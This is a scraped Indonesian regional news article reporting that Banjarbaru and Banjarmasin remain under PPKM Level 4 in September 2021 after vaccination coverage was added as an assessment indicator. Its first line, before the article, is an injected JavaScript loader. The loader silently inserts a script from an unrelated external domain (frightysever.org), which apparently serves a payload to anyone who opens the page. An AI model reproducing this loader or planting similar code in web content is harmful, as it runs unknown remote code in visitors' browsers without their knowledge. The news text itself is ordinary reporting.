(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Indikator Cakupan Vaksinasi Dinaikkan, Banjarbaru Akhirnya Masih PPKM Level 4


KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah pusat memperpanjang PPKM di 10 kabupaten/kota di luar Jawa dan Bali mulai 21 September hingga 4 Oktober 2021.

Di antara 10 kabupaten kota tersebut adalah Kota Banjarmasin dan Banjarbaru yang sejak beberapa pekan terakhir secara indikator jumlah kasus aktif turun.

Pengumuman pemerintah pusat membuat Wali Kota Banjarbaru Aditya Mufti Ariffin sempat mempertanyakan penilaian tersebut.

“Kami mempertanyakan mengapa Kota Banjarbaru masih tetap bertahan di PPKM level 4 dan kami juga tidak memahami indikator yang menjadikan Banjarbaru masih tetap berada di level 4,” kata Wali Kota Banjarbaru.

 

 

Baca juga: VIDEO FULL: Viral Password ‘Ading Basit’ Jembatan Sei Alalak, BBPJN: Belum Dibuka Untuk Umum

Sekadar diketahui, pemerintah pusat ternyata telah menambah indikator lain dalam menentukan status level PPKM. Yakni, cakupan vaksinasi dengan persentanse di masing-masing daerah.

“Telah diputuskan untuk memasukkan indikator cakupan vaksinasi dalam evaluasi penurunan level PPKM,” ujar Menko Bidang Maritim dan Investasi Luhut Binsar Pandjaitan, Senin (13/9/2021).

Luhut menerangkan cakupan dosis vaksinasi untuk turun dari PPKM level 3 ke 2 sebanyak 50% vaksinasi dosis 1 dan 40% dari vaksinasi masyarakat lanjut usia (lansia).

Sementara untuk turun dari level 2 ke level 1 cakupan vaksinasi dosis pertama minimal 70% dan vaksinasi lansia 60%.

Target cakupan vaksinasi tersebut harus dipenuhi oleh daerah dengan PPKM level 2. Luhut bilang daerah yang menerapkan PPKM level 2 akan diberikan waktu selama 2 minggu untuk menggenjot vaksinasi.

“Jika tidak bisa mencapai (target), maka akan dinaikkan statusnya kembali pada level 3,” terang Luhut, Koordinator PPKM Jawa dan Bali.

Sebagai informasi, berdasarkan data Satgas Penanganan Covid-19 hingga saat ini vaksinasi dosis pertama di Indonesia sebanyak 73,31 juta dosis. Sementara total target vaksinasi Indonesia sebanyak 208,26 juta orang.

Baca juga: Mabuk, Pengendara Motor Terluka Usai Seruduk Kios di Karang Rejo

Sebelumnya penentuan level PPKM menggunakan indikator assessment berdasarkan standar Organisasi Kesehatan Dunia (WHO).

Antara lain adalah angka kasus konfirmasi positif, angka kematian, kasus aktif, rasio kasus positif, tracing, dan tingkat keterisian tempat perawatan. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

3 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

3 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

3 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

3 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

3 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

4 jam ago

This website uses cookies.